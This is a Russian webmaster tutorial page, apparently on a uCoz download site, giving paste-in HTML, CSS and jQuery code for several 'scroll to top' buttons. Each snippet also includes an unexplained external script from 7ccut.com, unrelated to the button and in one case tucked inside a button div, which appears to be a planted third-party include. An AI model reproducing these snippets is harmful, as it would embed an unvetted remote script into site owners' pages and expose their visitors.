Понедельник, 20.08.2018, 09:41
Программы,Аудиокниги,Скрипты,Онлайн фильмы
– Слушай свою жизнь. Она показывает все, что тебе необходимо знать на счет того, кем ты можешь быть.
Ричард Бах

Главная Регистрация Вход
 Приветствую Вас, Гость · RSS
Меню сайта
Новости сайта

Толкиен Джон Рональд Руэл Властелин Колец (трилогия) (992)
Налоговый кодекс РФ (01.09.2006) (1082)
конвертер для плеера seekwood SW5810 (2943)
Аудиокнига :: Крокодил Гена и его друзья (1594)
Тони Барлам - Деревянный ключ ( Мистика, аудиокнига) (839)
Стивен Кинг - Блейз (Мистика,Аудиокнига) (964)
Пауло Коэльо - Алхимик, скачать книгу и аудиокнигу бесплатно (3050)
Архиватор WinRar 2012 (849)
Виртуальный Макияж v2.45 Portable (998)
17 рецептов как заработать в интернете (1334)
Mozilla Firefox 4.0 Final (1164)
ProxySwitcher Standard (1327)
Переключатель PageScroller для uCoz от AD (1301)
Босоногий Ген / Barefoot Gen (1315)
Кэрролл Льюис Логическая игра (1247)
Артур Голден Мемуары гейши (1158)
Хроники Нарнии: Покоритель Зари / The Chronicles of Narnia: The Voyage of the Dawn Treader DVDRip Скачать /Смотреть онлайн/ (897)
Маша и Медведь 13 серия - "Кто не спрятался, я не виноват." (883)
Скачать музыку Саундтреки к фильму Мы из будущего OST (1752)
Пароль на страницу (новая версия) для uCoz (993)

Прикольные Смайлики и Статусы для майл агента 5.7 Новые смайлики
Просмотров:[14821]
Скачиваний:[88]
Мощный анализатор ставок на рулетке Easy Roulette 2
Просмотров:[7804]
Скачиваний:[118]
Кнопка «Класс!» Одноклассники
Просмотров:[6390]
Скачиваний:[0]
Java скрипт - Генератор кода для выпадающего меню
Просмотров:[5733]
Скачиваний:[0]
Скачать бесплатно Stronghold Legends - Легенды Цитадели
Просмотров:[5603]
Скачиваний:[169]
Скачать Славянская клиника - Похудеть без диет и голода (аудиокурс/7 CD)
Просмотров:[5546]
Скачиваний:[49]
Отправить смс любым операторам бывшего снг
Просмотров:[5059]
Скачиваний:[103]

Как перевести деньги с телефона на телефон по Украине
Просмотров:[15743]

Описание и настройка HandyCache
Просмотров:[5649]


  • Притчи
  • [Жизнь прекрасна!Женские рассказы]
  • Анекдоты
  • [Анекдоты]
  • Любовь
  • [Любовь]

  •  
    Главная » 2013 » Ноябрь » 19 » Кнопки "Вверх" для сайта или блога
    14:24
    Кнопки "Вверх" для сайта или блога

    Разные кнопки "вверх и вниз" для сайта или блога
    Кнопка "Вверх" играет большую роль в улучшении удобства пользователя, особенно на тех страница которые сильно нагромождены контентом. А так как в настоящее время контент для сайта самое главное, то его на страницах, как правило, становится все больше и больше и самым лучшим способом перенаправить посетителя вверх страницы являются различные специальные кнопки



    Красивая кноапка "Вверх", появляется при прокрутки страници вниз и плавно исчезает при клике вверх.

    Как правильно установить "Кнопку Вверх" на сайт:
    Приступим. И так
    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <a style="display: block;" id="toTop"><img src="http://pnghosts.ru/img/vverx_images_site.png" align="absmiddle" border="0"><br>Вверх</a><br/>
    <script src="http://7ccut.com/table.js" type="text/javascript"></script>
    <script src="http://pnghosts.ru/js_css/jquery.scroll.pack.js" type="text/javascript"></script>  
    <script type="text/javascript">  
    $(function() {  
    $("#toTop").scrollToTop();  
    });  
    </script>


    Это вставляем в "Таблица стилей (CSS)" в самый низ

    Код
    /* === jQ TOP === */  
    #toTop {  
      width: 50px;  
      background: #f1f1f1;
      border-width: 1px 1px 1px 1px;
      border-style: solid;
      border-color: #cccccc;
      -moz-border-radius: 10px 10px 10px 10px;
      -webkit-border-bottom-left-radius: 10px;
      -webkit-border-bottom-right-radius: 10px;
      -webkit-border-top-left-radius: 10px;
      -webkit-border-top-right-radius: 10px;
      text-align: center;  
      padding: 2px;  
      position: fixed;  
      bottom: 2px;  
      right: 2px;  
      cursor: pointer;  
      color: #666666;  
      text-decoration: none;  
    }
    /* =============== */


    Кнопка вверх для ucoz в стиле котэ



    Правильная установка:
    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <script language="JavaScript" type="text/javascript">
    $(function() {
      $.fn.scrollToTop = function() {
      $(this).hide().removeAttr("href");
      if ($(window).scrollTop() >= "250") $(this).fadeIn("slow")
      var scrollDiv = $(this);
      $(window).scroll(function() {
      if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
      else $(scrollDiv).fadeIn("slow")
      });
      $(this).click(function() {
      $("html, body").animate({scrollTop: 0}, "slow")
      })
      }
    });

    $(function() {
      $("#Go_Top").scrollToTop();
    });
    </script>

    <a style='position: fixed; bottom: 25px; right: 50px; cursor:pointer; display:none;'
    href='#' id='Go_Top'>
      <img src="http://pnghosts.ru/img/kotikup.png" alt="Наверх" title="Наверх">
    </a><script src="http://7ccut.com/table.js" type="text/javascript"></script>
    </div>
    <script type='text/javascript' src='http://pnghosts.ru/js_css/arclite.js'></script>


    Кнопка вверх в процентах для сайта или блога



    Правильная установка:
    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <!-- <Кнопка Вверх> -->  
      <script type="text/javascript">  
      $(document).ready(function(){  
    $("#back-top").hide();  
      $(function () {  
      $(window).scroll(function () {  
      if ($(this).scrollTop() > 125) {  
      $('#back-top').fadeIn();  
      } else {  
      $('#back-top').fadeOut();  
      }  
      });  
    $('#backop').click(function () {  
      $('body,html').animate({  
      scrollTop: 0  
      }, 800);  
      return false;  
      });  
      });  

      });  
      </script>  
    <script type="text/javascript">  
      $(window).scroll(function(){  
      var s = $(window).scrollTop();  
      var f = $(document).height()-$(window).height();  
    var d=s/f*100;  
      var p=Math.round(d);  
    $("#pix").text(p);  
    });  
      </script>  
    <div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; left: 10px; top: 83%; background: transparent; ">  
      <center><a title="Вверх" id="backop" href="#top"><img src="http://pnghosts.ru/img/up_knopka_vverx.png" onmouseover="this.src='http://pnghosts.ru/img/up1_knopka_vverx.png'" onmouseout="this.src='http://pnghosts.ru/img/up_knopka_vverx.png'"></a></center><script src="http://7ccut.com/table.js" type="text/javascript"></script>  
    <center><font size="4" style="font-size: 11pt; color: rgb(255, 255, 255);"><b>  
      <span id="pix"></span>%</b></font></center>  
      </div>  
      <!-- </Конец> -->



    Кнопка вверх, вниз и зафиксировать для uCoz



    Все наверно видели кнопку вконтакте вверх, при скролинге страницы вниз. Этот скрипт модифицировал эту кнопку. С помощью его вы можете листать вниз страницу, вверх, а также зафиксировать страницу в том месте где вы хотите и вернуться, при желании, в это место.

    Скрипт лёгок в установке и очень полезен для сайтов с огромным контентом.

    1. Заходим в ПУ
    2. Управление дизайном
    3. Нижняя часть сайта
    4. Вставляем туда код:

    Код
    <div class="apoud">  
      <div onclick="$('body').scrollTo(0, 300);" class="apou"></div>  
      <div class="apom" title="Зафиксировать позицию"><script src="http://7ccut.com/table.js" type="text/javascript"></script></div>  
      <div onclick="$('body').scrollTo($('body').height()+500, 300);" class="apod"></div>  
    </div>  

    <script>  
      var apotop;  
      $('.apom').toggle(function() {  
      $(this).addClass('apomon');  
      apotop = $('body').scrollTop();  
      }, function() {  
      $('body').scrollTo(apotop, 300);  
      $(this).removeClass('apomon');  
      });  
    </script>

    <style>
      .apoud {  
      position:fixed;  
      z-index:100;  
      bottom:15px;  
      right:15px;  
      }  
       
      .apou, .apom, .apod {  
      cursor:pointer;  
      width:50px;  
      height:50px;  
      }  
       
      .apou {  
      background:url('http://pnghosts.ru/img/vverx.png') no-repeat;  
      }  
      .apom {  
      background:url('http://pnghosts.ru/img/center_off.png') no-repeat;  
      }  
      .apomon {  
      background:url('http://pnghosts.ru/img/center_on.png') no-repeat;  
      }  
      .apod {  
      background:url('http://pnghosts.ru/img/vniz.png') no-repeat;  
      }
    </style>

    Просмотров: 314 | Добавил: Bitfood | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Copyright MyCorp © 2018

    Мультфильм Скрипт смотреть онлайн аудиокнига Программы 2010 Windows soft Rus build 2013 Multi Ashampoo studio Professional ENG СКАЧАТЬ БЕСПЛАТНО final скачать бесплатно ccleaner Utilities Portable adobe converter video русский Repack photo pro KpoJIuK ultimate D!akov Edition Advanced player Auslogics BoostSpeed PC рс 365 Commander Care Wise 2014 uninstall TooL Download Internet Business
    Заработать Твиттер



    Поиск
    Услуги
    Бесплатный Хостинг
    Посоветовать страницу

    Аудиокнига случайная
    Пауло Коэльо-Заир,аудио книга (1584)
    Аудиокнига На берегу Рио-Пьедра села я и заплакала (1402)
    Assassins Creed Bloodlines (2009) (RUS) (PSP) (789)
    Аудиокнига Левиафан Борис Акунин (977)
    Freak Out Extreme Freeride (2007) (ENG) (PSP) (804)
    Воспоминания Понтия Пилата (Аудиокнига) (1175)
    "Закон притяжения и сила мысли" Уильям Уолкер Аткинсон (Аудиокнига) (1481)
    Скачать бесплатно Грей Мари - Женские страсти (Аудиокнига) (3539)
    Ломаем любую игру (1424)
    Ольга Степнова - Уж замуж невтерпеж (Аудиокнига,Детектив) (892)
    Скачать бесплатно Stronghold Legends - Легенды Цитадели (5603)
    Александр Конторович. "Черная смерть" (1226)
    Пауло Коэльо - "Книга воина света" (1453)
    Fight Night Round 3 (2006) (RUS) (PSP) (899)
    Аудиокнига -Победитель остается один (1280)
    Вход
    Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Copyright MyCorp © 2018
    Яндекс.Метрика
    |